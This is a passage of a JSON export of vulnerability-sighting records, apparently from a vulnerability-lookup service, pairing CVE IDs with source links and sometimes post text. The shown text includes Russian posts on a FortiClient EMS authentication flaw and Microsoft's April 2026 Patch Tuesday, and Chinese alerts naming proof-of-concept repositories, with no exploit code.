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\u043a\u043e\u0433\u0434\u0430 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438.\n\n\u2699\ufe0f \u041f\u043e\u0447\u0435\u043c\u0443 \u0431\u0430\u0433 \u0432\u043e\u043e\u0431\u0449\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442?\n\n\u0412\u0435\u043a\u0442\u043e\u0440 CVSS:3.1/AV:N/AC:L/PR:N/UI:N \u2014 \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442: \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e, \u0431\u0435\u0437 \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439, \u0431\u0435\u0437 \u0443\u0447\u0451\u0442\u043a\u0438, \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0436\u0435\u0440\u0442\u0432\u044b. \u041e\u0434\u0438\u043d \u0437\u0430\u043f\u0440\u043e\u0441 \u2014 \u043e\u0434\u0438\u043d \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442.\n\n\u041a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u2014 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 auth-middleware \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0445 API-\u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u0430\u0445. \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0435 \u0432\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u043d\u0435 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u2014 \u043e\u043d \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043a \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u043c. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 route, \u0437\u0430\u0431\u044b\u043b\u0438 \u043d\u0430\u0432\u0435\u0441\u0438\u0442\u044c auth-\u0434\u0435\u043a\u043e\u0440\u0430\u0442\u043e\u0440 \u2014 \u043a\u043b\u0430\u0441\u0441\u0438\u043a\u0430 \u0436\u0430\u043d\u0440\u0430. \u0422\u0430\u043a\u043e\u0439 \u043f\u0430\u0442\u0442\u0435\u0440\u043d \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0430\u0443\u0434\u0438\u0442\u0435 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 REST API \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e.\n\n\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442: \u0432 \u0440\u0443\u0441\u0441\u043a\u043e\u044f\u0437\u044b\u0447\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u0445 \u0433\u0443\u043b\u044f\u0435\u0442 \u043e\u0448\u0438\u0431\u043a\u0430 \u2014 \u044f\u043a\u043e\u0431\u044b \u0432\u0435\u0440\u0441\u0438\u044f 7.4.6 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u042d\u0442\u043e \u043d\u0435\u0432\u0435\u0440\u043d\u043e. \u041f\u043e NVD, \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043e\u0431\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u2014 \u0438 7.4.5, \u0438 7.4.6. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e 7.4.7.\n\n\ud83d\udd17 \u041f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440\n\nCVE-2026-35616 \u2014 \u043d\u0435 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439. CVE-2026-21643 \u2014 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 7.4.4 \u0441 \u0442\u0435\u043c \u0436\u0435 CVSS 9.8 \u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u044b\u043c \u0432\u0435\u043a\u0442\u043e\u0440\u043e\u043c. \u0414\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c, \u043e\u0434\u043d\u0430 \u0438 \u0442\u0430 \u0436\u0435 \u0446\u0435\u043b\u044c. FortiClient EMS \u044f\u0432\u043d\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 \u0433\u043b\u0443\u0431\u043e\u043a\u043e\u0433\u043e security-\u0430\u0443\u0434\u0438\u0442\u0430.\n\n\u041f\u043e\u043b\u043d\u0430\u044f \u043c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u2014 \u043e\u0442 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0438 API bypass \u0434\u043e lateral movement \u0447\u0435\u0440\u0435\u0437 Fortinet-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u2014 \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0430 \u0444\u043e\u0440\u0443\u043c\u0435.\n\nhttps://codeby.net/threads/cve-2026-35616-ekspluatatsiya-uyazvimosti-forticlient-ems-ot-api-bypass-do-zakhvata-fortinet-infrastruktury.92827/", "creation_timestamp": "2026-04-24T14:31:07.000000Z"}, {"uuid": "c16e88b2-8eb8-4edf-b756-e7823885cd80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://t.me/GithubRedTeam/81554", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21962\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xBlackash\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-24 15:59:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-21962\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-24T16:00:05.000000Z"}, {"uuid": "420ac928-bc17-4c9c-b552-834f97ae9c8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21986", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/81870", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21986-VirtualBox-DoS\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a MohaBars\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C++\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-27 21:08:19\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-21986: VirtualBox Shared Folders kernel memory exhaustion DoS\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-27T22:00:04.000000Z"}, {"uuid": "2aacd616-2886-44e3-82a9-e627692c8a91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21877", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/81729", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-21877-rce\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a monkeontheroof\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-26 12:57:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-26T13:00:04.000000Z"}, {"uuid": "e7d8ff1a-a279-4c57-9ca7-6fc3f1279ba5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mivrtakokk2z", "content": "", "creation_timestamp": "2026-04-07T12:30:26.691908Z"}, {"uuid": "e8849e08-a9e8-4c97-b22b-a4894954ef03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21413", "type": "seen", "source": "https://infosec.place/objects/3d7e8bce-37f1-418e-9f3c-59def947dbcb", "content": "", "creation_timestamp": "2026-04-07T14:30:22.285913Z"}, {"uuid": "3c272cda-f6bf-4477-8ea7-2a6e6610efc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://bsky.app/profile/jacobianeng.bsky.social/post/3mix3pqh3na2s", "content": "", "creation_timestamp": "2026-04-08T01:00:02.409765Z"}, {"uuid": "606f1e4c-64e6-4973-97bb-e02c96bc57f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-forticlient-ems-sql-injection-cve-2026-21643-patch-immediately", "content": "", "creation_timestamp": "2026-03-31T07:45:24.000000Z"}, {"uuid": "58e105d4-b10d-4a94-ac52-13b0311d0e0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21630", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0384/", "content": "", "creation_timestamp": "2026-03-31T17:00:00.000000Z"}, {"uuid": "f72ea466-dc2d-4895-8e96-9a8291e8434b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21629", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0384/", "content": "", "creation_timestamp": "2026-03-31T17:00:00.000000Z"}, {"uuid": "270e04c1-0914-4791-bafc-c9bf02a8e7b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21631", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0384/", "content": "", "creation_timestamp": "2026-03-31T17:00:00.000000Z"}, {"uuid": "b0708766-3576-4bc6-a24d-33ebc8b1f697", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21632", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0384/", "content": "", "creation_timestamp": "2026-03-31T17:00:00.000000Z"}, {"uuid": "e41bb119-a79d-4380-b511-9a843d6724d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21933", "type": "seen", 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"source": "https://bsky.app/profile/mysites.guru/post/3mjfn55yvaw2q", "content": "", "creation_timestamp": "2026-04-13T19:49:04.288126Z"}, {"uuid": "c5e85bcb-805b-4944-b18d-d31db415d652", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mjfnti6xlz25", "content": "", "creation_timestamp": "2026-04-13T20:01:32.249279Z"}, {"uuid": "b2da3a8c-786b-4c84-a786-75839043f7dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://thehackernews.com/2026/04/cisa-adds-6-known-exploited-flaws-in.html", "content": "", "creation_timestamp": "2026-04-14T03:39:00.000000Z"}, {"uuid": "83499dea-88ee-47d8-a74d-b134bde8249d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mjgtvxrwor2l", "content": "", "creation_timestamp": "2026-04-14T07:22:58.030276Z"}, {"uuid": "74be3c67-1fff-4b20-b423-d4d1d7376254", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "seen", "source": "https://infosec.exchange/users/0patch/statuses/116402500857219006", "content": "", "creation_timestamp": "2026-04-14T10:06:48.700947Z"}, {"uuid": "a88b3441-0ba1-4a23-8285-54d8dd184d11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mjhiivp46n25", "content": "", "creation_timestamp": "2026-04-14T13:31:27.988310Z"}, {"uuid": "d1a28ccf-74d7-4f6a-9519-3ebb343ebdbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21262", "type": "seen", "source": "https://bsky.app/profile/concisecyber.bsky.social/post/3mjhsid2dib2w", "content": "", "creation_timestamp": "2026-04-14T16:30:06.315018Z"}, {"uuid": "8b1cea7b-86fd-435a-bf72-4273cbddca4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21637", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "7208d2a4-8580-4ae8-8b45-f91607996a3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21637", "type": "seen", "source": "https://t.me/true_secator/8105", "content": "Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 Patch Tuesday \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 0-day \u0432 SharePoint \u0438 \u0435\u0449\u0435 168 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u043c \u043f\u043e\u0440\u0442\u0444\u0435\u043b\u0435, \u0447\u0442\u043e, \u043f\u043e \u043c\u043d\u0435\u043d\u0438\u044e \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u0432, \u0441\u0442\u0430\u043b\u043e  \u0432\u0442\u043e\u0440\u044b\u043c \u043f\u043e \u0432\u0435\u043b\u0438\u0447\u0438\u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0437\u0430 \u0432\u0441\u044e \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0445 CVE.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 169 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 157 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0432\u0430\u0436\u043d\u044b\u0435, \u0432\u043e\u0441\u0435\u043c\u044c - \u043a\u0430\u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435, \u0442\u0440\u0438 - \u043a\u0430\u043a \u0443\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0438 \u043e\u0434\u043d\u0430 - \u043a\u0430\u043a \u043d\u0438\u0437\u043a\u0430\u044f \u043f\u043e \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438. \n\n93 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043a\u0430\u043a EoP, \u0437\u0430 \u043d\u0438\u043c\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 21 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 21 - \u0441 RCE, 14 - \u0441 \u043e\u0431\u0445\u043e\u0434\u043e\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, 10 - \u0441 \u043f\u043e\u0434\u043c\u0435\u043d\u043e\u0439 \u0430\u0434\u0440\u0435\u0441\u0430 \u0438 \u0434\u0435\u0432\u044f\u0442\u044c - \u0441 DoS.\n\n\u0412 \u0447\u0438\u0441\u043b\u043e 169 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0442\u0430\u043a\u0436\u0435 \u0432\u0445\u043e\u0434\u044f\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 CVE, \u043d\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0435 Microsoft, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 AMD (CVE-2023-20585), Node.js (CVE-2026-21637), Windows Secure Boot (CVE-2026-25250) \u0438 Git for Windows (CVE-2026-32631). \u042d\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u00a078 \u043e\u0448\u0438\u0431\u043e\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 Edge \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 Chromium.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 SharePoint Server \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-32201\u00a0\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c \u0441 \u043f\u043e\u0434\u043c\u0435\u043d\u043e\u0439 IP-\u0430\u0434\u0440\u0435\u0441\u0430. Microsoft \u043f\u0440\u0438\u0441\u0432\u043e\u0438\u043b\u0430 \u0435\u0439 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u00ab\u0432\u0430\u0436\u043d\u044b\u0439\u00bb \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 6,5.\n\n\u041d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 Microsoft Office SharePoint \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c \u043f\u043e\u0434\u043c\u0435\u043d\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0441\u0435\u0442\u0438. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u0435\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f.\n\n\u041f\u043e\u043a\u0430 \u043d\u0435\u044f\u0441\u043d\u043e, \u043a\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 0-day  \u0430\u0442\u0430\u043a\u0430\u043c\u0438, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u043c\u0438 \u043d\u0430 CVE-2026-32201. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u043a\u0430\u043a \u043e\u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0438 \u043a\u0430\u043a\u043e\u0432 \u043c\u0430\u0441\u0448\u0442\u0430\u0431.\n\n\u041e\u0434\u043d\u0430\u043a\u043e, \u0441\u0443\u0434\u044f \u043f\u043e \u043a\u0440\u0430\u0442\u043a\u043e\u043c\u0443 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-32201 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438.\u00a0\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SharePoint \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0447\u0430\u0441\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\u00a0\u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435\u00a0KEV CISA\u00a0\u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043e 10 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f CVE-2026-32201.\n\n\u0418\u0437 \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 Microsoft \u0432 \u0440\u0430\u043c\u043a\u0430\u0445\u00a0Patch Tuesday \u0437\u0430 \u0430\u043f\u0440\u0435\u043b\u044c 2026 \u0433\u043e\u0434\u0430, 19 \u0438\u043c\u0435\u044e\u0442 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u00ab\u0431\u043e\u043b\u0435\u0435 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f\u00bb, \u0447\u0442\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0432 \u0430\u0442\u0430\u043a\u0430\u0445.\u00a0\u00a0\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 - 